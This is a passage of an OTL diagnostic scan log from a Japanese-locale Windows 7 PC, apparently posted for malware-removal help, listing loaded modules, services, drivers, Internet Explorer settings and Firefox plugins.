MOD - [2015/03/14 19:12:30 | 001,174,856 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\libglesv2.dll
MOD - [2015/03/14 19:12:28 | 000,080,200 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\41.0.2272.101\libegl.dll
MOD - [2014/10/16 22:09:08 | 014,340,096 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\PresentationFramewo#\1f539baa94516139240877cb6afd72c2\PresentationFramework.ni.dll
MOD - [2014/10/16 22:09:01 | 012,435,968 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\1453d9e9a4989833ef3db4b22549ba1a\System.Windows.Forms.ni.dll
MOD - [2014/10/16 22:08:57 | 001,593,344 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\836e10dfd0811b303553216f5cb092ef\System.Drawing.ni.dll
MOD - [2014/10/16 22:08:55 | 005,467,648 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\d49908aa93a23c84847b1f8b1b667860\System.Xml.ni.dll
MOD - [2014/10/16 22:08:53 | 012,236,800 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\PresentationCore\3d4f835b8078dacc8d5da623e2c3f0ee\PresentationCore.ni.dll
MOD - [2014/10/16 22:08:47 | 003,348,480 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\WindowsBase\d97a5aa0eb7697aca7c6e90ae471af2b\WindowsBase.ni.dll
MOD - [2014/10/16 22:08:46 | 007,991,808 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\System\908ba9e296e92b4e14bdc2437edac603\System.ni.dll
MOD - [2014/10/12 12:18:59 | 011,497,984 | ---- | M] () -- C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\38bf604432e1a30c954b2ee40d6a2d1c\mscorlib.ni.dll
MOD - [2014/06/23 19:19:58 | 000,867,080 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\UNO\UNO.dll
MOD - [2014/01/10 14:28:18 | 000,100,688 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdateCheck.dll
MOD - [2014/01/10 14:26:44 | 001,861,968 | ---- | M] () -- C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe
MOD - [2013/12/10 16:39:42 | 000,721,920 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_ssl.pyd
MOD - [2013/12/10 16:39:42 | 000,285,184 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_hashlib.pyd
MOD - [2013/12/10 16:39:42 | 000,074,240 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_ctypes.pyd
MOD - [2013/12/10 16:39:42 | 000,040,960 | ---- | M] () -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\Koan\_socket.pyd
MOD - [2013/09/05 00:14:10 | 004,300,456 | ---- | M] () -- C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Cultures\OFFICE.ODF
MOD - [2013/03/05 12:40:16 | 000,626,240 | ---- | M] () -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMediaLibrary.dll
MOD - [2013/03/05 11:41:36 | 000,015,424 | ---- | M] () -- D:\Program Files (x86)\CyberLink\Power2Go8\Power2Go8\CLMLSvcPS.dll
MOD - [2012/02/14 16:16:08 | 000,598,016 | ---- | M] () -- D:\Program Files (x86)\Creative\Sound Blaster Recon3Di\Sound Blaster Recon3Di Control Panel\ja-JP\SBRcni.resources.dll
MOD - [2010/11/13 09:00:19 | 000,348,160 | ---- | M] () -- C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_ja_b77a5c561934e089\mscorlib.resources.dll


[color=#E56717]========== Services (SafeList) ==========[/color]

SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,366,512 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Program Files\Microsoft Security Client\NisSrv.exe -- (NisSrv)
SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,023,784 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Microsoft Security Client\MsMpEng.exe -- (MsMpSvc)
SRV:[b]64bit:[/b] - [2015/01/12 11:34:30 | 000,114,688 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\IEEtwCollector.exe -- (IEEtwCollectorService)
SRV:[b]64bit:[/b] - [2014/04/30 03:49:46 | 002,517,792 | ---- | M] () [Auto | Running] -- C:\Windows\SysNative\nvwmi64.exe -- (NVWMI)
SRV:[b]64bit:[/b] - [2013/05/27 14:50:47 | 001,011,712 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Windows Defender\MpSvc.dll -- (WinDefend)
SRV:[b]64bit:[/b] - [2013/02/09 03:30:42 | 000,359,664 | ---- | M] (Logitech, Inc.) [On_Demand | Stopped] -- C:\Program Files\Common Files\LogiShrd\Bluetooth\LBTServ.exe -- (LBTServ)
SRV:[b]64bit:[/b] - [2009/07/14 10:40:01 | 000,193,536 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\appmgmts.dll -- (AppMgmt)
SRV - [2015/03/28 21:07:53 | 000,268,464 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2015/03/21 15:12:07 | 000,148,080 | ---- | M] (Mozilla Foundation) [On_Demand | Stopped] -- C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe -- (MozillaMaintenance)
SRV - [2015/02/18 21:24:32 | 002,635,552 | ---- | M] (IObit) [Auto | Stopped] -- C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe -- (LiveUpdateSvc)
SRV - [2014/07/03 02:02:36 | 000,113,152 | ---- | M] (Creative Technology Ltd) [Auto | Running] -- C:\Windows\SysWOW64\CtHdaSvc.exe -- (CtHdaSvc)
SRV - [2014/04/30 01:40:40 | 000,413,128 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe -- (Stereo Service)
SRV - [2014/04/11 23:08:08 | 000,103,608 | ---- | M] (Microsoft Corporation) [Auto | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -- (clr_optimization_v4.0.30319_32)
SRV - [2014/03/21 07:49:18 | 000,067,224 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe -- (clr_optimization_v2.0.50727_32)
SRV - [2013/12/19 00:41:02 | 030,814,400 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- D:\Program Files (x86)\Microsoft Office\Office14\GROOVE.EXE -- (Microsoft SharePoint Workspace Audit Service)
SRV - [2013/10/27 09:34:23 | 000,079,360 | ---- | M] (Creative Labs) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\CTAELicensing.exe -- (Creative Audio Engine Licensing Service)
SRV - [2013/10/27 09:34:14 | 000,079,360 | ---- | M] (Creative Labs) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Creative Labs Shared\Service\AL6Licensing.exe -- (Creative ALchemy AL6 Licensing Service)
SRV - [2013/05/31 16:23:36 | 000,652,640 | R--- | M] (cFos Software GmbH) [Auto | Running] -- D:\Program Files\ASRock\XFast LAN\spd.exe -- (cFosSpeedS)
SRV - [2013/04/04 14:50:32 | 000,701,512 | ---- | M] (Malwarebytes Corporation) [Auto | Running] -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamservice.exe -- (MBAMService)
SRV - [2013/04/04 14:50:32 | 000,418,376 | ---- | M] (Malwarebytes Corporation) [Auto | Running] -- D:\Program Files (x86)\Malwarebytes' Anti-Malware\mbamscheduler.exe -- (MBAMScheduler)
SRV - [2013/02/17 12:18:06 | 000,137,336 | ---- | M] (Futuremark Corporation) [On_Demand | Stopped] -- C:\Program Files (x86)\Futuremark\Futuremark SystemInfo\FMSISvc.exe -- (Futuremark SystemInfo Service)
SRV - [2013/01/07 00:40:00 | 004,713,360 | ---- | M] (INCA Internet Co., Ltd.) [On_Demand | Stopped] -- C:\Windows\SysWOW64\GameMon.des -- (npggsvc)
SRV - [2012/03/22 21:11:28 | 000,825,032 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtService.exe -- (CsrBtService)
SRV - [2012/03/22 21:11:16 | 001,041,616 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtOBEXService.exe -- (CsrBtOBEXService)
SRV - [2012/03/22 21:11:08 | 000,465,624 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\CsrBtAudioService.exe -- (CSRBtAudioService)
SRV - [2012/03/22 21:11:00 | 000,064,216 | ---- | M] (Cambridge Silicon Radio Limited) [Auto | Running] -- D:\Program Files\CSR\CSR Harmony Wireless Software Stack\BtSwitcherService.exe -- (BtSwitcherService)
SRV - [2011/12/01 10:07:20 | 000,423,424 | ---- | M] (Creative Technology Ltd) [Auto | Running] -- C:\Program Files (x86)\Creative\Shared Files\CTAudSvc.exe -- (CTAudSvcService)
SRV - [2010/02/19 13:37:14 | 000,517,096 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe -- (SwitchBoard)


[color=#E56717]========== Driver Services (SafeList) ==========[/color]

DRV:[b]64bit:[/b] - [2014/12/31 08:54:48 | 000,585,944 | ---- | M] (Realtek Semiconductor Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\RtkBtfilter.sys -- (RtkBtFilter)
DRV:[b]64bit:[/b] - [2014/11/15 14:46:08 | 000,124,560 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\NisDrvWFP.sys -- (NisDrv)
DRV:[b]64bit:[/b] - [2014/07/28 14:52:00 | 000,054,784 | ---- | M] (Apple, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\usbaapl64.sys -- (USBAAPL64)
DRV:[b]64bit:[/b] - [2014/07/03 02:02:34 | 001,060,120 | ---- | M] (Creative Technology Ltd) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\cthda.sys -- (cthda)
DRV:[b]64bit:[/b] - [2014/05/02 09:17:59 | 000,032,320 | ---- | M] (FNet Co., Ltd.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\FNETTBOH_305.SYS -- (FNETTBOH_305)
DRV:[b]64bit:[/b] - [2014/05/02 09:10:50 | 000,016,648 | ---- | M] (FNet Co., Ltd.) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\FNETURPX.SYS -- (FNETURPX)
DRV:[b]64bit:[/b] - [2014/04/30 03:49:46 | 000,197,408 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\nvhda64v.sys -- (NVHDA)
DRV:[b]64bit:[/b] - [2013/10/02 11:22:20 | 000,056,832 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbFlt.sys -- (TsUsbFlt)
DRV:[b]64bit:[/b] - [2013/09/04 14:07:06 | 002,056,192 | ---- | M] (Creative Technology Ltd.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ksaud.sys -- (ksaud)
DRV:[b]64bit:[/b] - [2013/07/25 16:53:46 | 000,023,040 | ---- | M] (Apple Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\netaapl64.sys -- (Netaapl)
DRV:[b]64bit:[/b] - [2013/05/31 16:23:40 | 001,814,880 | ---- | M] (cFos Software GmbH) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\cfosspeed6.sys -- (cFosSpeed)
DRV:[b]64bit:[/b] - [2013/04/04 14:50:32 | 000,025,928 | ---- | M] (Malwarebytes Corporation) [File_System | On_Demand | Running] -- C:\Windows\SysNative\drivers\mbam.sys -- (MBAMProtector)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,079,240 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LEqdUsb.sys -- (LEqdUsb)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,077,192 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LHidFilt.Sys -- (LHidFilt)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,061,832 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LMouFilt.Sys -- (LMouFilt)
DRV:[b]64bit:[/b] - [2013/01/03 17:17:38 | 000,015,752 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\LHidEqd.sys -- (LHidEqd)
DRV:[b]64bit:[/b] - [2012/09/10 03:22:06 | 000,243,712 | ---- | M] (Realtek Semiconductor Corp.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\RtsUStor.sys -- (RSUSBSTOR)
DRV:[b]64bit:[/b] - [2012/08/23 23:10:20 | 000,019,456 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\rdpvideominiport.sys -- (RdpVideoMiniport)
DRV:[b]64bit:[/b] - [2012/08/21 13:01:20 | 000,033,240 | ---- | M] (GEAR Software Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\GEARAspiWDM.sys -- (GEARAspiWDM)
DRV:[b]64bit:[/b] - [2012/08/09 17:03:06 | 000,034,640 | ---- | M] (ASRock Inc.) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\AsrRamDisk.sys -- (AsrRamDisk)
DRV:[b]64bit:[/b] - [2012/08/07 17:45:30 | 000,026,072 | ---- | M] (Intel Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\iaStorF.sys -- (iaStorF)
DRV:[b]64bit:[/b] - [2012/08/07 17:45:28 | 000,575,448 | ---- | M] (Intel Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\iaStorA.sys -- (iaStorA)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:36 | 000,023,752 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrusbfilter.sys -- (csrusbfilter)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:34 | 000,047,296 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrusb.sys -- (csrusb)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:32 | 000,061,128 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrserial.sys -- (csrserial)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:30 | 000,039,616 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrpan.sys -- (csrpan)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:26 | 000,038,080 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrhfgcc.sys -- (csrhfgcc)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:22 | 002,784,968 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\CsrBtPort.sys -- (CsrBtPort)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:20 | 000,099,520 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csrbthav.sys -- (csr_bthav)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:18 | 000,039,120 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\CsrBthAudioHF.sys -- (CsrBthAudioHF)
DRV:[b]64bit:[/b] - [2012/03/22 21:08:16 | 000,026,304 | ---- | M] (Cambridge Silicon Radio Limited) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\csravrcp.sys -- (csravrcp)
DRV:[b]64bit:[/b] - [2012/03/01 15:46:16 | 000,023,408 | ---- | M] (Microsoft Corporation) [Recognizer | Boot | Unknown] -- C:\Windows\SysNative\drivers\fs_rec.sys -- (Fs_Rec)
DRV:[b]64bit:[/b] - [2011/12/26 21:37:42 | 000,090,608 | ---- | M] (CyberLink) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\CLVirtualDrive.sys -- (CLVirtualDrive)
DRV:[b]64bit:[/b] - [2011/11/07 10:13:06 | 000,017,192 | ---- | M] (Windows (R) Win 7 DDK provider) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\AsrAppCharger.sys -- (AsrAppCharger)
DRV:[b]64bit:[/b] - [2011/11/03 03:01:00 | 000,056,208 | ---- | M] (Rovi Corporation) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\PxHlpa64.sys -- (PxHlpa64)
DRV:[b]64bit:[/b] - [2011/09/22 09:49:56 | 000,056,600 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\HECIx64.sys -- (MEIx64)
DRV:[b]64bit:[/b] - [2011/06/17 21:16:02 | 000,405,064 | ---- | M] (Texas Instruments Incorporated) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\tixhci.sys -- (tixhci)
DRV:[b]64bit:[/b] - [2011/06/17 21:16:02 | 000,131,656 | ---- | M] (Texas Instruments Incorporated) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\tihub3.sys -- (tihub3)
DRV:[b]64bit:[/b] - [2011/05/09 20:42:14 | 000,425,000 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\k57nd60a.sys -- (k57nd60a)
DRV:[b]64bit:[/b] - [2011/03/11 15:41:12 | 000,107,904 | ---- | M] (Advanced Micro Devices) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsata.sys -- (amdsata)
DRV:[b]64bit:[/b] - [2011/03/11 15:41:12 | 000,027,008 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\amdxata.sys -- (amdxata)
DRV:[b]64bit:[/b] - [2011/01/26 17:11:06 | 000,023,048 | ---- | M] (ASRock Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\AsrVDrive.sys -- (AsrVDrive)
DRV:[b]64bit:[/b] - [2010/11/20 22:33:35 | 000,078,720 | ---- | M] (Hewlett-Packard Company) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\HpSAMD.sys -- (HpSAMD)
DRV:[b]64bit:[/b] - [2009/07/20 05:11:18 | 000,021,392 | ---- | M] (kasiwano masahiro) [Kernel | Auto | Stopped] -- C:\Windows\SysNative\drivers\uusbd64.sys -- (UUSBD64)
DRV:[b]64bit:[/b] - [2009/07/14 10:52:20 | 000,194,128 | ---- | M] (AMD Technologies Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsbs.sys -- (amdsbs)
DRV:[b]64bit:[/b] - [2009/07/14 10:48:04 | 000,065,600 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\lsi_sas2.sys -- (LSI_SAS2)
DRV:[b]64bit:[/b] - [2009/07/14 10:45:55 | 000,024,656 | ---- | M] (Promise Technology) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\stexstor.sys -- (stexstor)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:33 | 003,286,016 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\evbda.sys -- (ebdrv)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:28 | 000,468,480 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\bxvbda.sys -- (b06bdrv)
DRV:[b]64bit:[/b] - [2009/06/11 05:34:23 | 000,270,848 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\b57nd60a.sys -- (b57nd60a)
DRV:[b]64bit:[/b] - [2009/06/11 05:31:59 | 000,031,232 | ---- | M] (Hauppauge Computer Works, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\hcw85cir.sys -- (hcw85cir)
DRV:[b]64bit:[/b] - [2009/02/24 18:35:44 | 000,255,552 | ---- | M] (MagicISO, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\mcdbus.sys -- (mcdbus)
DRV:[b]64bit:[/b] - [2009/02/19 15:07:50 | 000,058,752 | ---- | M] (ASICEN) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\Sknet_AS11Loader.sys -- (AS11Loader)
DRV:[b]64bit:[/b] - [2008/05/21 11:16:18 | 000,028,032 | ---- | M] (ASICEN) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\SKNET_HDTV_IR.sys -- (SKNET_ISDB_P_HidIRKbd.Dev)
DRV - [2014/06/23 16:29:48 | 000,032,456 | ---- | M] (CyberLink Corp.) [2015/01/31 10:42:38] [Kernel | Auto | Running] -- D:\Program Files (x86)\CyberLink\PowerDVD14\PowerDVD14\Common\NavFilter\000.fcl -- ({C5F942FD-1110-4664-86CE-0C6BDA305235})
DRV - [2009/07/14 10:19:10 | 000,019,008 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysWOW64\drivers\wimmount.sys -- (WIMMount)
DRV - [2009/02/24 18:35:44 | 000,255,552 | ---- | M] (MagicISO, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysWOW64\drivers\mcdbus.sys -- (mcdbus)


[color=#E56717]========== Standard Registry (All) ==========[/color]


[color=#E56717]========== Internet Explorer ==========[/color]

IE:[b]64bit:[/b] - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Page_URL = http://go.microsoft.com/fwlink/p/?LinkId=255141
IE:[b]64bit:[/b] - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Search_URL = http://go.microsoft.com/fwlink/?LinkId=54896
IE:[b]64bit:[/b] - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Secondary_Page_URL = [binary data]
IE:[b]64bit:[/b] - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Extensions Off Page = about:NoAdd-ons
IE:[b]64bit:[/b] - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\system32\blank.htm
IE:[b]64bit:[/b] - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
IE:[b]64bit:[/b] - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Security Risk Page = about:SecurityRisk
IE:[b]64bit:[/b] - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/p/?LinkId=255141
IE:[b]64bit:[/b] - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE:[b]64bit:[/b] - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Page_URL = http://go.microsoft.com/fwlink/p/?LinkId=255141
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Search_URL = http://go.microsoft.com/fwlink/?LinkId=54896
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Default_Secondary_Page_URL = [binary data]
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Extensions Off Page = about:NoAdd-ons
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\SysWOW64\blank.htm
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Security Risk Page = about:SecurityRisk
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.msn.com/?pc=MSSE
IE - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC


IE - HKU\.DEFAULT\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

IE - HKU\S-1-5-18\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

IE - HKU\S-1-5-19\..\URLSearchHook: {CFBFAE00-17A6-11D0-99CB-00C04FD64497} - C:\Windows\SysWOW64\ieframe.dll (Microsoft Corporation)
IE - HKU\S-1-5-19\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}

IE - HKU\S-1-5-20\..\URLSearchHook: {CFBFAE00-17A6-11D0-99CB-00C04FD64497} - C:\Windows\SysWOW64\ieframe.dll (Microsoft Corporation)
IE - HKU\S-1-5-20\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}

IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\system32\blank.htm
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = Preserve
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page = http://go.microsoft.com/fwlink/?LinkId=54896
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.msn.com/?pc=MSSE
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://jp.msn.com/?ocid=iehp
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = ja
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\..\URLSearchHook: {CFBFAE00-17A6-11D0-99CB-00C04FD64497} - C:\Windows\SysWOW64\ieframe.dll (Microsoft Corporation)
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE8SRC
IE - HKU\S-1-5-21-557484673-2621240714-2065044319-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

[color=#E56717]========== FireFox ==========[/color]

FF - prefs.js..browser.search.countryCode: "JP"
FF - prefs.js..browser.search.region: "JP"
FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:36.0.4
FF - user.js - File not found

FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\system32\Macromed\Flash\NPSWF64_17_0_0_134.dll File not found
FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\@divx.com/DivX VOD Helper,version=1.0.0: C:\Program Files\DivX\DivX OVS Helper\npovshelper.dll (DivX, LLC.)
FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\@microsoft.com/OfficeAuthz,version=14.0: C:\PROGRA~1\MICROS~3\Office14\NPAUTHZ.DLL (Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_17_0_0_134.dll ()
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=: File not found
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=1.0: C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll ()
FF - HKLM\Software\MozillaPlugins\@divx.com/DivX VOD Helper,version=1.0.0: C:\Program Files (x86)\DivX\DivX OVS Helper\npovshelper.dll (DivX, LLC.)
FF - HKLM\Software\MozillaPlugins\@divx.com/DivX Web Player Plug-In,version=1.0.0: C:\Program Files (x86)\DivX\DivX Web Player\npdivx32.dll (DivX, LLC)
